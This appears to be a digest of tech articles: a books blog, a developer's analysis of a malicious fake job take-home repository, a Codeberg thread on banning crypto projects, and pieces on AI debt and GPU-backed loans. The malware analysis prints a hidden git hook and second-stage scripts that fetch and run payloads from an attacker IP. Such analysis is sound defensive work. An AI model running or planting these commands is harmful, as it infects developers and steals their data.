And yet, maybe not. What most struck me as I began using my own tool to ﬁnd new books to read was how consistently good the long tail of non-ﬁction from the past few decades is. You can pick a book more or less at random from this list and end up with something extraordinary and original — not because it’s a hidden gem or forgotten, since obviously these books are on the list by virtue of having been celebrated and praised. But a book that won enormous praise in newspapers and among literary intelligentsia or scholars in the early 1990s, say — like, for instance, David Levering Lewis’s acute biography of W.E.B. Du Bois, which I’m currently reading — is not exactly the sort of thing that Amazon is likely to recommend, as it’s out of print and currently at 1 million+ in the sales rankings.

Yet there it is on the list, ranked near the top ten of all books because it won no less than four major prizes when it was published back in 1993. And I can personally attest that you can buy it used for ~$4 and it’s really good.

While writing this post, I got interested in the bigger question of when the golden age of non-ﬁction began and why. I suspect it has much to do with the rise of those old-school open stack research libraries, whose origins I wrote about here:

It’s true that the basic blueprint of these institutions is an 18th and 19th century development — but the post-war era radically transformed the ways that libraries and archives produced new knowledge, for a range of reasons that I will dig into more in a future post. It seems to me that a surprising number of them are related to technological and social change:

• The jet plane allowed writers and researchers to travel to multiple continents to research books — the sort of opportunity previously available only to the ultra-wealthy.

• The erosion of restrictions around class, race, and gender made formerly elite spaces like rare book libraries more widely accessible, and the same process also opened up new questions and research leads (for instance, it is striking how rarely biographers before ~1965 or so dug into the sexuality of their subjects).

• Proto-digital and early digital technologies like the Library of Congress classiﬁcation system and the related MARC (machine-readable cataloguing) standard, developed in the late 1960s, made it much easier to sort and classify books. Crucially, they also made it easier to fact check sources and create high quality endnotes.

• The advent of broadcast news, oddball TV interview shows (Dick Cavett!), and the book-to-Hollywood pipeline created new incentives for authors and new platforms for making their work visible.

• Word processors and early computers? I’m still unsure whether these appreciably altered the quality of non-ﬁction writing, but I think it’s possible. Certainly (moving into the 2000s) Wikipedia and Google Books/Hathi Trust have been enormously helpful for me and others in my generation.

My own entirely subjective opinion, based on a whole lot of skimming in a whole lot of library books, is that non-ﬁction writing quality noticeably improved across the whole twentieth century and probably reached a peak around the 1980s to early 2000s. Whether it is now declining is, again, a topic for another post — though I’d be curious to hear what you think, dear reader, both about this question and about the Book Prize Index.

• The making of the Jurassic Park computers.

• “Mill’s life has as much to teach here as his arguments. When he suffered that early breakdown, in 1826, it was because he lost faith in the pursuit of utilitarianism, his family creed. But he had no one he felt he could talk to about his crisis. His recovery, he said, came in part from reading Wordsworth. It came, too, from rejecting the psychological picture in which his father had raised him, a form of associationism that treated the mind as a mechanism for managing pleasure and pain, just as his father’s utilitarian ethics treated morality as a matter of maximizing the surplus of pleasure over pain. As he wrote in On Liberty, human nature is ‘not a machine to be built after a model,’ but a living thing that must ‘grow and develop itself on all sides.’” — Kwame Anthony Appiah on AI and John Stuart Mill, whose Autobiography is one of the books that caught my attention in the open stacks.

• Mercifully, Pangram rates the Appiah essay as 100% human written… one can never tell these days. But apparently you can tell, sort of, on Substack — as I was preparing this post, I noticed this newly-added feature:

I have been skeptical in the past about software that claims to be able to detect AI writing, but I have to say, Pangram feels different. I’ve tested it and it’s dismayingly effective — dismaying because, as I wrote about here, a lot of the writing people seem to like online these days is coming up as 100% AI. I’m glad Substack added this feature and I hope it pops up elsewhere, e.g., it would be interesting to see it automatically applied to the output of major news websites and magazines.

Appaji - Software Engineer

citizendot.github.io

427 shares · 15 trendiness

Discuss on Hacker News or LinkedIn.

A recruiter slid into my LinkedIn DMs last Thursday with a Python developer role. I was thrilled that someone had reached out directly, so I asked for more details. When he shared the role description, company name, and the estimated pay, I ﬁgured I had nothing to lose.

Here is the initial message:

Offering $10,000-$15,000 a month for a remote-ﬁrst, contract-to-hire role is just too good. Also, why is this guy revealing pay info before even we met? I thought recruiters play the “you ﬁrst, me next” game. Rookie mistake.

Red ﬂags immediately started waving. Why the huge budget? (Well, huge by Indian standards for a remote role; not exactly outrageous by US standards, but good enough to raise an eyebrow.) I looked up the company and saw it was a Y Combinator startup. YC companies aren’t exactly known for conventional operations, so it wasn’t completely outside the realm of possibility. Still, if a company has that kind of cash to throw around, they usually have a much more structured hiring pipeline. I decided to proceed, but kept my guard up.

I sent over my resume. The recruiter quickly approved it and handed over a take-home assignment via a Google Drive link containing a zip archive and a PDF with instructions. Here’s the original drive link: https://drive.google.com/drive/folders/18i1KDFXAPv7lqfBGddxj7IOnDy8J6VeH?usp=drive_link. I made my copy here in case they delete theirs: https://drive.google.com/drive/folders/1DZYWezjpwolsxXnM5F04_Ng3nzTRYpVS?usp=sharing.

Assessment PDF was surpringly legitimate looking. It’s about how to improve the existing codebase, architectural suggestions, some git operations etc..

I extracted the zip. At ﬁrst glance, it was just a boilerplate FastAPI backend using SQLAlchemy; pretty standard stuff. I checked requirements.txt for any obvious typosquatting or malicious packages, but it was completely clean. For a brief second, I thought my suspicions were unfounded and this was a legitimate opportunity.

This is just a habit (may be from doing CTFs), whenever I get a random project folder, I just run tree -a to see what’s lurking in the hidden directories. But this might be the ﬁrst time it paid off in the real world.

❯ tree -a . . ├── alembic.ini ├── for learning │ ├── dtos.py │ ├── main.py │ └── mockData.py ├── .git │ ├── conﬁg │ ├── description │ ├── gk │ │ └── conﬁg │ ├── HEAD │ ├── hooks │ │ ├── applypatch-msg │ │ ├── commit-msg │ │ ├── fsmonitor-watchman │ │ ├── post-applypatch │ │ ├── post-checkout │ │ ├── post-commit │ │ ├── post-merge │ │ ├── post-receive │ │ ├── post-rewrite │ │ ├── post-update │ │ ├── pre-applypatch │ │ ├── pre-auto-gc │ │ ├── pre-commit │ │ ├── pre-merge-commit │ │ ├── prepare-commit-msg │ │ ├── pre-push │ │ ├── pre-rebase │ │ ├── pre-receive │ │ ├── proc-receive │ │ ├── push-to-checkout │ │ ├── sendemail-validate │ │ └── update │ ├── index │ ├── info │ │ └── exclude │ ├── logs …

Wait a minute. A ton of Git hooks were pre-conﬁgured in the repository. I opened the pre-commit script to see what they were trying to run.

❯ cat .git/hooks/pre-commit #!/bin/sh

case “$(uname -s)” in Darwin*) curl -sL ’http://45.61.164.38:5777/task/mac?id=402′ -L | sh > /dev/null 2>&1 & ;; Linux*) wget -qO- ’http://45.61.164.38:5777/task/linux?id=402′ -L | sh > /dev/null 2>&1 & ;; MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;; *) curl -sL ’http://45.61.164.38:5777/task/mac?id=402′ -L | sh > /dev/null 2>&1 & ;; esac

Bingo. They embedded a script that checks the victim’s host operating system and silently executes a remote payload.

Side note: Why use a raw IP address? If anything, this screams “malware.” At least register a decoy domain like lint-checker.com or jenkins-ci-runner.net. If the threat actors who wrote this are reading: take notes people!

Let’s see what the Linux payload actually does. Notice the id=402 parameter being passed to the endpoint. Keep that in mind.

❯ curl http://45.61.164.38:5777/task/linux?id=402 #!/bin/bash set -e echo “Authenticated” TARGET_DIR=“$HOME/Documents” clear wget -q -O “$TARGET_DIR/tokenlinux.npl” “http://45.61.164.38:5777/task/tokenlinux?id=402” clear mv “$TARGET_DIR/tokenlinux.npl” “$TARGET_DIR/tokenlinux.sh” clear chmod +x “$TARGET_DIR/tokenlinux.sh” clear nohup bash “$TARGET_DIR/tokenlinux.sh” > /dev/null 2>&1 & clear exit 0

The script pulls down a secondary payload initially named tokenlinux.npl (we’ll circle back to that speciﬁc extension later). It then hides the ﬁle in my ~/Documents directory as tokenlinux.sh, makes it executable, and ﬁres it off in the background using nohup.

From Google: The nohup command (short for “no hang up”) is a Linux/Unix utility that keeps a process running even after you log out, close the terminal, or disconnect from an SSH session.

Down the rabbit hole we go. Let’s inspect this next script.

❯ curl http://45.61.164.38:5777/task/tokenlinux?id=402 … … BASE_URL=“http://45.61.164.38:5777” …

# Step 8: Download ﬁles

# Check if curl is available

if ! command -v curl >/dev/null 2>&1; then # If curl is not available, use wget wget -q -O “$USER_HOME/parser.js” “$BASE_URL/task/parser?id=402″ wget -q -O “$USER_HOME/package.json” “$BASE_URL/task/json” else # If curl is available, use curl curl -s -L -o “$USER_HOME/parser.js” “$BASE_URL/task/parser?id=402″ curl -s -L -o “$USER_HOME/package.json” “$BASE_URL/task/json” ﬁ

# Step 9: Install ‘request’ package

cd “$USER_HOME” if [ ! -d “node_modules/request” ]; then npm install –silent –no-progress –loglevel=error –fund=false ﬁ

# Step 10: Run token parser

if [ -f “$USER_HOME/parser.js” ]; then nohup node “$USER_HOME/parser.js” > “$USER_HOME/parser.log” 2>&1 & else exit 1 ﬁ exit 0

I’ve trimmed the output to the most interesting bits for brevity, but full ﬁle is available here: tokenlinux.txt (bash script).

This second stage does a lot of heavy lifting. It quietly installs Node.js, conﬁgures the system path, downloads a package.json and a parser.js ﬁle, installs the required dependencies, and runs the parser invisibly.

I took a look at parser.js. The code was heavily obfuscated, a complete mess to read manually. Remember the id parameter? I tried changing it in my request and received a completely different script back. The attackers are likely assigning unique identiﬁers to track individual candidates, serving customized payloads to each victim.

Since parser.js was a brick wall, I pivoted to package.json. Unlike the parser, this has to be standard JSON for npm to process it.

Btw, I’ve hosted parser.js here: parser.js

❯ curl http://45.61.164.38:5777/task/json

{ “name”: “tokendapp”, “version”: “1.0.0″, “devDependencies”: { “hardhat”: “^2.20.2” }, “dependencies”: { “axios”: “^1.12.2″, “basic-ftp”: “^5.0.5″, “child_process”: “^1.0.2″, “clipboardy”: “^4.0.0″, “crypto”: “^1.0.1″, “execp”: “^0.0.1″, “fs”: “^0.0.1-security”, “jsonwebtoken”: “^9.0.2″, “process”: “^0.11.10″, “ps-node”: “^0.1.6″, “request”: “^2.88.2″ }, “scripts”: { “test”: “npx hardhat test”, “deploy”: “npx hardhat run scripts/deploy.js” } }

These dependencies are incredibly suspicious. Why would a background setup task need clipboard access (clipboardy), and they need ﬁle system access (fs) too. And what exactly is hardhat?

Ah, an Ethereum development environment. This makes the tracking ID parameter even more curious. If they were dropping a Bitcoin miner, distributing speciﬁc hashing tasks to unique IDs would make sense. But Ethereum shifted away from Proof of Work; it doesn’t rely on mining anymore. They are likely using Hardhat to locate and drain crypto wallets or interact with local browser extensions? idk.

Hoping to deobfuscate parser.js, I threw the code into a few LLMs to see if they could untangle it.

Claude took one look at the ﬁle and triggered its safety rails, refusing to analyze the script:

Gemini, on the other hand, was more than happy to break it down (No, I’m not biased towards Google here. Well, okay, I am a Googler, but you can judge for yourself.):

Earlier, we saw the payload originally named tokenlinux.npl. A quick search conﬁrms exactly what kind of threat actor uses that extension:

The Scam goes deeper

After realizing this was a widespread campaign, I did a bit more digging and found that people are getting different variations of this attack. Some folks received a zip ﬁle containing a .vscode folder. Inside, the attackers hid commands conﬁgured to run as soon as the directory is opened in VSCode (launch commands).

Pretty clever.

You don’t even have to run a git command, just opening this directory in VSCode is enough to get infected.

Also, it’s pretty evident now that this has nothing to do with Zavopay. The attackers just used whatever company name they found to make the offer look legitimate. Out of curiosity, I ran git log to inspect the project’s commit history, wondering if they left any custom traces. It turns out, they just cloned a random public repository.

❯ git log commit 16a25d9eaef7ef2e831a21ca0d703fe0fa621492 (HEAD -> main, origin/main, origin/feature/payment, origin/HEAD, feature/payment) Author: rhonda <womenoﬁnspiration2016@gmail.com> Date: Mon Jun 29 22:04:17 2026 – 0400

add requirements

commit 8ae96928302a8e0757f2c72f85c46d801c97b91e Merge: f64c289 d6cb1f2 Author: Bharati Gogoi <bgogoi055@gmail.com> Date: Mon Jun 29 21:23:43 2026 +0530

Merge pull request #10 from Bgogoi123/feature/balance

[feat][Service for Adjusting Balance]

commit d6cb1f2f14b5d561e3611653327477e6a60eee95 Author: Bharati Gogoi <bharatigogoi@Bharatis-MacBook-Air.local> Date: Mon Jun 29 21:20:13 2026 +0530

[feat][Service for Adjusting Balance] - Added a service for adjustinh a user’s balance. - Removed old/commented codes.

commit f64c2898bbe2d4b5773f39e1022e95a2418fa0b4 Merge: 17aaa4c 9e0dbdf Author: Bharati Gogoi <bgogoi055@gmail.com> Date: Fri Jun 26 23:51:38 2026 +0530

Merge pull request #9 from Bgogoi123/feature/balance

[ﬁx][Dependencies Annotated]

commit 9e0dbdf112124a25237018a3b92af10c51c54b5f Author: Bharati Gogoi <bharatigogoi@Bharatis-MacBook-Air.local> Date: Fri Jun 26 23:48:53 2026 +0530

[ﬁx][Dependencies Annotated] - Annotated all dependencies in the router ﬁles of each module.

A quick search led me straight to the original repo: https://github.com/Bgogoi123/personal-ﬁnance-service. They literally just took someone’s innocent FastAPI project and slapped a malicious hidden directory on top of it.

Naturally, the next move was pivoting from defense to offense. I wanted to see if the attackers left any vulnerable services exposed on their IP.

An Nmap scan revealed three open ports. Two of them were unresponsive to version detection. Port 22 was running OpenSSH 9.6p1 on Ubuntu. Since that version was released just over a week prior to this scan, there were no known CVEs I could leverage to poke around their infrastructure.

So, they had decent OPSEC on their server, even if their malware deployment was a bit loud. That’s where the trail goes cold for now. Stay safe out there, and always check those hidden directories before running someone else’s code.

Now I understand why their assignment PDF has git tasks. They want to make sure that the candidate runs at least one of the git commands, so the hooks will get triggered.

Oh by the way, The “recruiter” seemed to have deleted the account, right after I called their front out.

That’s it for now. Feel free to connect with me on LinkedIn if you want to chat, though maybe skip sending any malware-laced take-home tests. (Actually, on second thought, if you have interesting malware samples, send ’em over!)

Thanks for reading!

Read more Read the original on citizendot.github.io →

Read the original on citizendot.github.io →

Proposal for Assembly 2026: Disallow cryptocurrency projects

codeberg.org

335 shares · 16 trendiness

Owner

Copy link

Need to be careful with wording like this. If you are going to provide examples you need to make it clear it is not an exhaustive list:

“Content that harms the reputation of Codeberg, such as - but not limited to - cryptocurrency related projects.”

Need to be careful with wording like this. If you are going to provide examples you need to make it clear it is not an exhaustive list:

“Content that harms the reputation of Codeberg, such as - but not limited to - cryptocurrency related projects.”

Author

Owner

Copy link

The text is now as-is because it was send out for votes. Small clariﬁcations can be made afterwards by Presidium or Board. The whole spirit of the vote makes it clear this is a “not limited to” case.

First-time contributor

Copy link

Is there a definition of “cryptocurrency-related” somewhere?

Author

Owner

Copy link

This has passed.

![image](/attachments/73b8c345-cb43 – 44b9-b172 – 5c76f521a5e0)

Gusted

referenced this pull request from a commit 2026 – 07-22 02:02:29 +02:00

First-time contributor

Copy link

Fk hell I just moved to a forge that banned bitcoin! Is this a joke??? https://blog.codeberg.org/we-stay-strong-against-hate-and-hatred.html

First-time contributor

Copy link

Please explain how do cryptocurrency projects harm codeberg’s reputation

https://forum.codeberg.org/d/82-taking-a-stance-against-cryptocurrency “The page you requested could not be found.”

Codeberg/Community#794 Codeberg/Community#2184 These domains are strongly associated with fraudulent activities and high-risk investments

Not all of them are about it. First of all, in context of so called code forges, this is a tech. What kind of headache do you have, that you judge the whole group by isolated cases, and block ANY such projects, even those that have real technical value?

Please explain how do cryptocurrency projects harm codeberg’s reputation

> https://forum.codeberg.org/d/82-taking-a-stance-against-cryptocurrency “The page you requested could not be found.”

> Codeberg/Community#794 > Codeberg/Community#2184 > These domains are strongly associated with fraudulent activities and high-risk investments

First-time contributor

Copy link

When some projects were transferred over, you started behaving strangely.

First-time contributor

Copy link

While I respect this seems to have been a community decision (I also despise the amount of fraud coming from the crypto space), this does set quite a concerning precedent, and makes me a little nervous to continue recommending Codeberg.

Banning an entire category of software based on bad actors within that category is extreme, and prevents any healthy crypto projects from emerging here.

First-time contributor

Copy link

I’m working on a project aimed at bringing privacy, security, and autonomy to at risk people groups. The language in this motion means I can no longer host it here. Is this what the Codeberg community voted for? The short-sightedness and incompetency is mind blowing. What do you call it when a group of people come together to weaponize their hate against a whole category of developers? Anyone?

First-time contributor

Copy link

I don’t even understand the logic behind this? Because some cryptocurrencies are shady and bad, every single crypto project should not be allowed onto Codeberg? What if someone is studying blockchains and want to implement their own crypto? This is extremely insane to me.

First-time contributor

Copy link

I’m sure you have some morally high reasons to stand against cryptocurrency, but the “illicit trade” and “evasion of sanctions” cited by sourcehut (since you seem to base your decision on it) are also what allows regular people, including LGBTQ+ people, living in sanctioned countries (which also, what a surprise, turn out to be unsafe for LGBTQ+ folk a lot of the time), to buy goods and send/receive money from abroad without being prosecuted by their governments (hi foreign agent laws! hi “extremism” and “terrorism” laws!).

I’m sorry, anti-war transgender person stuck in Russia, but from our moral stance, you shouldn’t be able to purchase HRT from a lab using your XMR wallet. nor should your friend be able to pay for their foreign VPN VDS that they use to bypass the internet restrictions in USDT. the projects you used for this were hosted on Codeberg and not some other platform? well, too bad, they’ll have to go someplace else that minds your existence or is welcoming to cryptocurrency as a whole, and you will wait. you and the tools you use will move to a greedy corporate hosting that is likely to impose its own restrictions on you in the future, or, even better, move to a less reliable self-hosted option, one per each tool to make it less maintainable and less accessible.

by taking this stance, at least from my perspective, you’re just projecting your morally high delusion of dirty illicit 3rd world crypto scammers that are damaging the moral purity of Codeberg by… hosting code for their projects here?! which, mind you, almost all the time will just contain tools, tools to do good or bad. do you want to ban BitTorrent-related projects from Codeberg next because they are “mostly used to get illegal access to unlicensed digital goods and services (piracy)” and also take up world bandwidth and compute? how about banning YouTube downloaders after those? hey, let’s make it clear that Codeberg will not stand a single repo on its platform that involves encrypted messaging: you know only criminals use Matrix, right?

by taking this stance, at least from my perspective, you’re just projecting your morally high delusion of dirty illicit 3rd world crypto scammers that are damaging the moral purity of Codeberg by… hosting code for their projects here?! which, mind you, almost all the time will just contain tools, *tools* to do good or bad. do you want to ban BitTorrent-related projects from Codeberg next because they are “mostly used to get illegal access to unlicensed digital goods and services (piracy)” and also take up world bandwidth and compute? how about banning YouTube downloaders after those? hey, let’s make it clear that Codeberg will not stand a single repo on its platform that involves encrypted messaging: you know only criminals use Matrix, right?

First-time contributor

Copy link

The vagueness of the term “such as cryptocurrency related projects.” has materially damaged Codebergs reputation in my eyes, and given the comments above, I am not alone. Therefore under its own construction that “Content that harms the reputation of Codeberg” should have been self defeating and not allowed under its own policy.

Examples of POTENTIAL “crytpocurrency related projects”:

ZK Proof Libraries.

Blake and SHA HASH Libraries.

PQ Crypto, ED25519 or ECDSA (secp256k1)

ANYTHING to do with LibP2P or similar libraries.

ANYTHING to do with BFT Consensus or other consensus algorithms.

So The only safe policy is to assume that Codeberg is basically anti-cryptography. Because most all cryptography at some level of relationship becomes a “cryptocurrency related project”.

And in who’s view is the reputational damage judged? An opaque select committee? Corporate sponsors? The rule is simply political cover for Codeberg to say “We don’t like you even though your code is legal, see our TermsOfUse which says, politically acceptable projects are OK, and we deﬁne what is politically acceptable, and whatever ‘cryptocurrency related projects’ mean are not politically acceptable, and so might other undeﬁned stuff we haven’t decided on yet.”

Needless to say, I wont be adding any more projects to Codeberg and I will move away from it as a platform. To be clear none of them are “Cryptocurrency related” by my interpretation, but hey, I did make a CBOR toolkit, and Cardano, a cryptocurrency project, uses a lot of CBOR, so maybe that is “Cryptocurrency related”… Who’s to know?

Examples of POTENTIAL “crytpocurrency related projects”: * ZK Proof Libraries. * Blake and SHA HASH Libraries. * PQ Crypto, ED25519 or ECDSA (secp256k1) * ANYTHING to do with LibP2P or similar libraries. * ANYTHING to do with BFT Consensus or other consensus algorithms.

So The only safe policy is to assume that Codeberg is basically anti-cryptography. Because most all cryptography at some level of relationship becomes a “cryptocurrency related project”.

First-time contributor

Copy link

@stevenj wrote in #1254 (comment):

And in who’s view is the reputational damage judged?

community, lol. AFAIK, anyone could participate in that poll. so some random people that think “crypto is bad blah blah blah” can really ruin Codeberg’s reputation by voting for banning crypto-related projects

@stevenj wrote in https://codeberg.org/Codeberg/org/pulls/1254#issuecomment-19918582:

> And in who’s view is the reputational damage judged?

community, lol. AFAIK, anyone could participate in that poll. so some random people that think “crypto is bad blah blah blah” can _really_ ruin Codeberg’s reputation by voting for banning crypto-related projects

First-time contributor

Copy link

@stevenj wrote in #1254 (comment):

I did make a CBOR toolkit, and Cardano, a cryptocurrency project, uses a lot of CBOR, so maybe that is “Cryptocurrency related”… Who’s to know?

to really push this joke further, let’s go ban Zig as it is used by Solana validator software (the source of most rugpull memecoins)!

@stevenj wrote in https://codeberg.org/Codeberg/org/pulls/1254#issuecomment-19918582:

> I did make a CBOR toolkit, and Cardano, a cryptocurrency project, uses a lot of CBOR, so maybe that is “Cryptocurrency related”… Who’s to know?

to really push this joke further, let’s go ban Zig as it is used by [Solana validator software](https://github.com/Syndica/sig) (the source of most rugpull memecoins)!

Read more Read the original on codeberg.org →

Read the original on codeberg.org →

AI Companies Are Trying to Hide a Staggering Amount of Debt

futurism.com

288 shares · 110 trendiness

Can’t-miss innovations from the bleeding edge of science and tech

AI companies are pouring untold billions of dollars into enormous data centers in their efforts to sustain increasingly complex and resource-intensive AI models.

It’s an extremely costly undertaking built on seemingly bottomless hype — and a mountain of debt. As Japanese ﬁnancial newspaper Nikkei Asia found in a recent investigation, just ﬁve US tech giants — Alphabet, Microsoft, Amazon, Meta, and Oracle — are hiding an estimated $1.65 trillion in debt that doesn’t appear on balance sheets. That’s even more than the $1.35 trillion in debt the ﬁve companies ofﬁcially reported in their ﬁnancial data for the most recent quarter.

Meta alone has amassed around $420 billion in off-balance-sheet debt, according to Nikkei, highlighting how precarious the AI industry’s steep investment in AI has become, and inspiring comparisons to energy company Enron, which collapsed in spectacular fashion in 2001 because of similar debts hidden behind shell companies. Like Enron, they’re using special purpose vehicles, or off-balance sheet arrangements such as legally distinct subsidiaries, as a way to make their ﬁnancial reporting look healthier than it actually is — often a glaring sign that something is deeply amiss behind the scenes.

“The accounting treatment itself is in fashion,” technical accounting consultant Tom Selling told Bloomberg. “But what if one of these companies was a house of cards and was propping itself up with this accounting treatment? To me, that’s the risk.”

Experts continue to warn of an AI bubble, noting the enormous and widening gulf between company valuations and their comparatively measly profits. The latest news will do little to quiet critics who say the situation is more dire than the companies’ ofﬁcial balance sheets suggest.

To keep up with the ongoing AI race, tech giants are committing vast sums to build out large-scale data center projects, a long-term bet that may — or may not — pay off. They’re also selling new shares to raise new funds, as Nikkei reports, which could lead to equity dilution and a drop in investor conﬁdence.

That could make them even more vulnerable if the AI bubble does pop, or the industry fails to generate enough demand to justify the data center construction frenzy.

The pressure is on: four of the ﬁve companies Nikkei analyzed are set to report second quarter earnings in the coming days and weeks. We’ll be watching.

More on the AI bubble: There’s a Gigantic Problem at the Heart of the AI Industry That Could Cause the Whole Thing to Collapse

Read more Read the original on futurism.com →

Read the original on futurism.com →

Nobody knows what a used GPU cluster is worth

ciphertalk.substack.com

271 shares · 10 trendiness

If xAI defaults on its debt, Apollo Global Management ends up in the GPU rental business. That is in the contract, signed in June 2025, on a ﬁve billion dollar debt facility arranged by Morgan Stanley. The lenders have the right to take over Colossus, the company’s 200,000 GPU cluster outside Memphis, and rent it to other AI companies until the loan is repaid.

It’s interesting whether Apollo, or Diameter Capital Partners, or any of the other lenders now ﬁnancing the AI buildout this way, would want to exercise that right.

The harder question is what they would actually be holding if they did.

A GPU cluster bears little resemblance to a building. Its value at any given moment depends on how it has been provisioned, how it is currently performing, and whether the team that knows its quirks is still there. All of that sits off the lender’s balance sheet, beyond the reach of anyone they can call.

This is one of the center problems of the AI infrastructure boom. I cannot determine why no one is talking about it. Tens of billions of dollars in debt is now collateralized by chips whose value depends on operational state, and the operational state is invisible to the people pricing the debt.

This week’s CipherTalk is about what happens to a speciﬁc kind of debt when the collateral itself can walk out the door with the operations team.

At the scale these GPU clusters operate, hardware and systems break constantly. Keeping them productive is a craft.

Modern data center GPUs fail at roughly 9% annually. The number traces to Meta’s Llama 3 technical report, which documented 419 unforeseen disruptions across 16,384 H100s over 54 days of training, of which 148 were GPU failures and 72 were HBM3 memory failures. At 200,000 GPUs, that annualized rate works out to approximately 50 GPU failures every day. At xAI’s stated million-GPU target, Epoch AI projects a failure roughly every three minutes. These are not catastrophic events. They are the steady state.

The failure modes that matter for a credit person are the ones that do not look like failures. Silent data corruption (SDC) is the most expensive, where a faulty GPU produces wrong answers without crashing anything, which means a multi-day training run can complete normally and the resulting model weights are quietly poisoned. Cascading failures are the second category, where one bad GPU crashes a training job spread across thousands of others, costing days of compute. Then there are the routine ones: thermal throttle, ECC memory errors, NVLink ﬂap, GPUs falling off the bus.

NVIDIA built NVSentinel because traditional monitoring detects these problems but rarely ﬁxes them. Crusoe built AutoClusters because queue wait time is the largest controllable variable in cluster goodput. Without these tools, remediation timelines run hours to days.

The job of an operations team is to keep all of this in steady state. They know which racks run hot in summer, which cooling loops have been ﬂaky since the last ﬁrmware update, which jobs to re-route when a node degrades but has not failed yet. None of that knowledge is written down. It lives in the team.

This is the asset that serves as collateral for tens of billions of dollars in debt and counting.

In the last eighteen months, AI infrastructure went from being ﬁnanced by corporate debt, to being ﬁnanced by the chips themselves.

The xAI Colossus 2 SPV is the cleanest example. The structure is roughly $7.5 billion in equity, with up to $2 billion of that contributed by NVIDIA itself, and $12.5 billion in debt. The special purpose vehicle (SPV) purchases NVIDIA GPUs and leases them to xAI on a ﬁve-year term. Apollo and Diameter sit on the debt tranche. Valor Equity Partners leads the equity. The debt is collateralized by the chips, not by xAI’s broader balance sheet.

Look at the pricing: xAI’s $5B round was priced at up to 12.5%. CoreWeave’s GPU-backed deals priced at roughly 8.5% above the benchmark rate, before terms tightened as lenders got more comfortable with the structure.

If we assume here these are not unsophisticated lenders, then we have to assume they are charging what they think the risk costs. The premium is then, the price of guessing.

The scope is wider than one company. CoreWeave alone holds $18.8 billion in GPU-collateralized debt across multiple SPVs. FluidStack’s $50 billion deal with Anthropic uses a different wrapper, with Google providing a backstop on the lease payments, but the underlying logic is the same.

Every neocloud and most major AI labs are now ﬁnanced this way.

Every other major asset class that gets used as collateral at this scale has decades of price discovery infrastructure behind it. GPUs have almost none of it.

Aircraft have ISTAT-certiﬁed appraisers, a global registry, standardized maintenance logs, ferry pilots, and an active secondary market dating back to the 1970s. Ships have BICA. Cars have NADA. Class A ofﬁce space has standardized cap rates and vacancy comps. Oil has had a forward curve since the early 1980s.

GPUs have Silicon Data’s H100 Rental Index on Bloomberg terminals, which launched in 2024, and Ornn AI, which raised $5.7 million in October 2025 to build the ﬁrst regulated exchange for GPU compute derivatives. That is the entire price discovery infrastructure for an asset class now backing tens of billions of dollars in debt.

The price moves underneath all of this are wild. H100 hourly rental rates went from roughly $8 per hour in early 2024 to $1.70 by October 2025, then surged 40% back up to $2.35 by March 2026 on a wave of inference demand nobody had priced in. SemiAnalysis put it bluntly: lenders who used six-year depreciation schedules now look smarter than the analysts who chastised them for being too generous. They were guessing, and they happened to land closer to the right answer than the people calling them reckless. No aircraft lender or shipping lender would underwrite ﬁve-year debt against an asset whose price swings like that without a way to hedge it. They would not be allowed to.

CoreWeave’s GPU-backed loans price at roughly 8.5 percentage points above the benchmark rate. For comparison, a typical aircraft loan prices at 1 to 2 points above benchmark, and a commercial mortgage usually sits below that. The extra 6 to 7 points is what lenders charge to bear a risk they cannot measure. There is no GPU futures market, no standardized residual value curve, and no way to lock in a forward rental rate. The premium is is the price of underwriting in the dark.

Thanks for reading CipherTalk! This post is public so feel free to share it.

That spread should compress as the market matures. Hedging instruments will appear. Residual value curves will get more standardized. Secondary markets for used GPUs will deepen. When that happens, the cost of capital for AI infrastructure drops meaningfully, which changes who can build at scale. The companies that beneﬁt are not the ones with the cheapest GPUs today. They are the ones positioned to access cheap debt once the ﬁnancing infrastructure catches up to the asset class.

The public ﬁght over how fast GPUs depreciate is a tell about how conﬁdent the people writing the books actually are.

CoreWeave depreciates GPUs over six years. Nebius, with the same business model and the same hardware, depreciates the same chips over four. AWS, Microsoft, and Google all moved their server useful-life assumptions from three to four years up to six years in 2023, a change that reduced reported depreciation expense by roughly $18 billion annually across $300 billion of combined capex. CoreWeave made the same accounting change in January 2023, before going public, lowering reported expense by hundreds of millions of dollars per year.

NVIDIA announced in 2025 that it is moving from a two-year product cycle to a one-year cycle. The chips backing all of this debt are about to become previous-generation twice as fast.

Michael Burry’s claim is that hyperscalers will cumulatively understate depreciation by approximately $176 billion between 2026 and 2028. He projects Oracle will overstate earnings by roughly 27% and Meta by roughly 21% by 2028. Burry’s motives aside, the math is independently checkable. If the true useful life of frontier-training GPUs is closer to two to four years and the books say six, the gap between paper value and recovery value is real and it is enormous. The recent inference demand surge complicates this. If H100s genuinely have productive life past frontier training, six years may not be wrong. If demand softens again in 2026 or 2027, the writedowns hit at exactly the moment lenders need their collateral to be worth something.

GPU collateral has three different values, and the market is currently pricing only one of them.

Face value is what the SPV says, the purchase price minus straight-line depreciation on whatever schedule the borrower picked. This is the number that determines loan-to-value covenants and the amount of debt the deal can support.

Liquidation value is what a buyer pays in distress. Secondary market data shows moderately-used 2 to 3 year old GPUs trading at 50% to 70% of new pricing under normal conditions. In a default scenario where multiple neoclouds are stressed simultaneously, the buyer pool collapses at the same moment supply spikes, plausibly putting recovery at 30% to 50% of face value in a ﬁre sale.

Going-concern value is what the cluster is worth as a working asset to the next tenant, which depends entirely on whether operational handoff works.

This is where the operational reality from the ﬁrst section returns. The lender exercising step-in rights inherits a colocation facility owned by someone else, with that facility’s own contracts and constraints. They inherit credentials and topology knowledge that historically lived with the borrower’s operations team, which walked out the door at default. They inherit a market where rental rates already moved 60% in one direction and 40% back the other in eighteen months, with no hedging instrument available. They inherit an asset class where 50 chips a day fail and somebody has to know which racks have been ﬂaky for the last quarter.

The spread between face value and going-concern value is the entire risk that nobody has hedged.

The most telling positions in this market are the ones not being taken.

KKR has been the most aggressive private equity ﬁrm in data centers, with the CyrusOne acquisition alongside Global Infrastructure Partners in 2022 for $15 billion, the Global Technical Realty commitment in 2026 for $1.5 billion, and the STT GDC deal in February 2026 for $5.1 billion at a 75% stake. KKR’s digital infrastructure book is a central pillar of $186 billion in real assets. The ﬁrm is not in the AIP consortium that bought Aligned Data Centers, not in any xAI SPV, and not in CoreWeave’s debt facilities. KKR owns the buildings, the power, the cooling, and the land, the infrastructure layer that holds value regardless of which AI lab wins or which chip generation dominates.

